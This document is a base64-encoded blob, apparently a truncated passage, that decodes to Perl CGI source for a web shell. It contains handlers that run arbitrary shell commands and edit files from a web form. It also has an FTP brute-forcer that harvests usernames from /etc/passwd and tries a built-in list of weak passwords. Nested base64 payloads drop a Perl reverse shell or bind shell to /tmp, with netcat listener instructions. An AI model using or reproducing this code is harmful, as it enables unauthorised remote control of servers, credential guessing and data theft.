0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7DQoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGaWxlIE9wZW4NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBGaWxlT3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCglteSAkcmVzdWx0ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkcmVzdWx0IC49ICRkYXRhOw0KCQkJfQ0KCQkJY2xvc2UoRklMRSk7DQoJCX0NCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZigkdXNlcm5hbWUgbmUgIiIpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOw0KCQkJCQl9DQoJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KCXJldHVybiA8PEVORDsNCgk8YnI+PGJyPg0KDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPg0KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+DQoNCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shDQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8YnI+PGJyPg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KDQoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPg0KDQoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4NCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2U